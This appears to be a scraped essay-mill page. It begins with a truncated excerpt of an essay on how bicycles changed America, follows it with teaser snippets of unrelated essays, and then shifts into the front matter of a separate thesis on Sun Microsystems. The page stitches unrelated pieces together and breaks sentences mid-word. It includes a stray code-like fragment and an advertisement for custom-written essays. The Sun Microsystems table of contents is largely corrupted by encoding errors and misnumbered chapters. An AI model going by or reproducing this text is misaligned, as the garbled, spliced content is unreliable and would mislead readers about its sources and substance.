The Bicycles Changed America Essay - 1820 Words

The Bicycles Changed America The great changes in American society that came with the introduction bicycle in the late 19th century are often overshadowed by the influence of the automobile in the following decades. Today, bicycles are often seen as an alternative mode of transportation - a cleaner and more environmentally conscious form of travel. Because of this, it may be difficult to realize the incredible modernizing effects that bicycles had on American society when they were first introduced. Manufacturing and marketing techniques introduced by the bicycle industry were massive steps towards modern industrial practices. In addition, by making individual travel available to many people for the first time, bicycles changed the†¦show more content†¦Drais de Savebrun was aware, however, of some of the important aspects of the draisine that hinted at the future possibilities of bicycles: when roads are dry and firm it runs on a plain at the rate of 8 to 9 miles an hour which is equal to a horses gallo p†¦[and] on descent it equals a horse at full speed. (Smith, 1972, pp 4) The next major development came with the acquisition of pedals. In 1855, the first bicycle with pedals, the velocipede, was invented and became briefly popular when it was brought to the United States. Because of the ride provided by its iron tires and wooden frame, the velocipede became known as the Boneshaker. The excitement around the velocipede died off within a few years, however, as it proved to be difficult to ride, expensive, and dangerous. During the second half of the 19th century, most of the major improvements were made that allowed for the invention of modern bicycles. An iron frame rather than a wooden one, rubber tires (solid rubber, however), rubber-coated pedals and steel rims were all developed during this time. Although the new bicycles, known as Ordinaries, had one wheel much larger than the other, were difficult to mount and dismount, had no brakes, and were expensive, they became much more popular than any of the previous ancestral bicycles. They were promoted on the basis that they provided exercise to the riders, and that they hadShow MoreRelatedThe Invention Of The Bicycle869 Words   |  4 PagesInnovators have constantly changed the world that people now know today, who have may not realized the impact their small inventions would have. Not all innovators create something brand new, as most of the time their work was transformed from something that had already been created and given a market. Two inn ovators, Albert Augustus Pope, and Sam Walton, changed the American market through their innovative marketing techniques to get the consumer a wanted product faster and creating a market inRead More Comparison Of Two Films: Essay1268 Words   |  6 Pages In that paper, I will try to compare two films which are â€Å"A Birth of a Nation† directed by D.W.Griffith and â€Å"The Bicycle Thieves† directed by De Sica. After giving the story of the films, I will try to explain their technical features and their similarities. A Birth of a Nation by D. W. Griffith nbsp;nbsp;nbsp;nbsp;nbsp;Griffith can be seen as the first modern director, his greatest achievements being the historical epics The Birth Of A Nation. When it was released, it was one of the longestRead MoreComparison of Two Films: Essay1290 Words   |  6 PagesGriffith and The Bicycle Thieves directed by De Sica. After giving the story of the films, I will try to explain their technical features and their similarities. A Birth of a Nation by D. W. Griffith Griffith can be seen as the first modern director, his greatest achievements being the historical epics The Birth Of A Nation. When it was released, it was one of the longest films ever made, over three hours in length. The prologue depicts the introduction of slavery to America in the seventeenthRead MoreThe Changing Attitudes Toward Athletics1270 Words   |  6 Pagesform. Harness Racing became the first modernized sport which seen change thanks to growth and the transformation of America. You first begin to see the formation of organization at the local, regional and national level. Rules became formal and written and legitimized by the organization where before, rules were based on local customs, so variations were plentiful. Competition also changed, going from local, to national and even international. People began to have the chance to establish themselves inRead MoreSoichiro Honda – Innovative Leader1268 Words   |  6 Pagesthe auto business in 1947, and lasted only a decade. The territory was taken, transportation was a mature industry, and its giants wanted no new competitors. By mid-century, one man could no longer create such a manufacturing empire† (Honda of America, 2009). Japan had its own established giants, but Honda somehow made himself their equal. He possessed the necessary qualities such as knowledge, persistence, self-confidence and intellect to be qualified as an innovative leader. Honda definitelyRead MoreEntertainment in the Gilded Age1450 Words   |  6 Pagesera of growing leisure time and the business that came along with it. One of the most popular forms of entertainment during the Gilded Age was theater, particularly Vaudeville, which was a type of variety theater prominent in late 19th century America. Of course, similar types of variety shows had existed much earlier, before the 1830s, but they experienced a growth thanks to Benjamin Franklin Keith, the father of American Vaudeville. He spent his earlier years working in traveling shows andRead MoreEssay about Flappers: The Untraditional Women of the 1920s682 Words   |  3 Pages63). Some people hated the idea of the flappers and these women had become. These women, the flappers, in the 1920s felt free after the 19th amendment was passed. â€Å"Since the early twentieth century, the sexual habits of these American women had changed in profound ways† (Zeitz 21). Flappers drank, partied, and had romantic evenings with men. All of which were illegal for women. In addition, they were an embarrassment to society and they were able to get away with anything. â€Å"Flappers were a disgraceRead MoreEssay about History of the Motorcycle866 Words   |  4 Pagesthe Motorcycle My goal is to explain the evolution of the motorcycle and how their importance has grown in our society. Motorcycles have changed a great deal over the past decade or so. They are constantly being bettered and improved. Slight changes are always being made to these man made machines. The motorcycle is an amalgamation of a motor and a bicycle. Motorcycles arent the only two-wheeled form of motorized transportation, there are others like minibikes, mopeds, and motor scooter (wwwRead MoreClimate Change : A Major Issue For Life On Earth1690 Words   |  7 PagesWhile buses are one option, bicycling has been shown to be one of the most sustainable modes of urban transportation. This is bicycles require little maintenance and require near zero fossil fuels to be operated, â€Å"...cycling beats every mode of transport, if one measures the amount of energy per kg of displaced mass over a fixed distance†( Hermans,12). The main issue with bicycles in cities is the issue of space, small sections of the road need to be dedicated for cyclists and this takes time, effortRead MoreThe American Automotive Company Chevrolet1152 Words   |  5 Pageshad gained interest in bicycle repairs. Especially racing bicycles. He worked at the robin’s machine shop from eighteen-ninety-five to eighteen-ninety-eight. While Louis worked there he fixed carriages and bicycles and learned the basics of mechanics. As a teenager Louis worked for a wine cellar and got tired of the slow transferring of wine form one cask to the other and created a pump, which was used extensively in France for decades. Louis also built and sold his own bicycle called the fronteac.

Sun Microsystems Strategic Positioning Free Essays

string(181) " 2004 article put many business owners at ease when the authors stated, â€Å"Just before last Christmas, secret talks aimed at ending one of the bitterest wars in business foundered\." SUN MICROSYSTEMS: STRATEGIC POSITIONING Susan L. Elvins National American University History, Strategy, International Abstract This thesis will discuss the corporate strategy of Sun Microsystems and the multiple issues they have faced both domestic and internationally. Sun Microsystems provides open source software applications and different types of hardware for business consumers. We will write a custom essay sample on Sun Microsystems Strategic Positioning or any similar topic only for you Order Now A benefit Sun Microsystems provides with new technology to customers is offering them the ability to trade computer parts when upgrading. ii CONTENTS Abstract †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. ii CHAPTER 1 SUN MICROSYSTEMS: INTRODUCTION †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. 1 CHAPTER 2 SUN MICROSYSTEMS: HISTORY †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 2 History †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 2 Continued Growth †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 2 CHAPTER 3 SUN MICROSYSTEMS: MARKETING †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. 4 SWOT Issues †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. 4 Microsoft vs. Sun Microsystems †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. 4 CHAPTER 4 SUN MICROSYSTEMS: PRODUCT TECHNOLOGY †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 6 Software †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 6 Servers †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â ‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. History Conclusion †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. 6 CHAPTER 5 SUN MICROSYSTEMS: CODE OF ETHICS †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 8 Employee Code of Ethics †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 8 Employee Relationships †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 9 Anti-Discrimination Policy †¦Ã¢â‚¬ ¦Ã¢â‚ ¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. 9 CHAPTER 6 SUN MICROSYSTEMS: LEGAL ISSUES†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 0 Hardware Patents †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 10 CHAPTER 7 SUN MICROSYSTEMS: INTERNATIONAL COUNTRY ANALYSIS (ITALY) †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 11 CHAPTER 8 SUN MICROSYSTEMS: INTERNATIONAL ENVIRONMENT †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 12 International Economy Results †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 12 Domestic Economy Results †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢ € ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. 12 CHAPTER 9 SUN MICROSYSTEMS: INTERNATIONAL DEMOGRAPHICS †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 13 iii CHAPTER 10 SUN MICROSYSTEMS: INTERNATIONAL POLITICS †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 4 CHAPTER 11 SUN MICROSYSTEMS: INTERNATIONAL SWOT †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 15 SWOT Analysis †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. 15 CHAPTER 12 SUN MICROSYSTEMS: GLOBAL BUSINESS STRATEGIES †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 16 Five Business Level Strategies †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 16 CHAPTER 13 SUN MICROSYSTEMS: CHANGE MANAGEMENT †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã ¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. 17 Server Management †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. †¦.. 17 CHAPTER 14 SUN MICROSYSTEMS: STRATEGIC CHANGE †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 8 Product Upgrade †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 18 Storage Management †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 19 Open Source Management †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 19 CHA PTER 14 IMPLEMENT PLAN OF CHANGE †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 20 Implement Change †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 20 CHAPTER 16 IMPROVEMENT RECOMMENDATIONS †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. 1 References †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.. 22 CERTIFICATE OF AUTHENTICATION NATIONAL AMERICAN UNIVERSITY . 25 APPENDIX A PORTER’S FIVE FORCES †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚ ¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 26 APPENDIX B GOVERNMENTAL PARTIES †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ 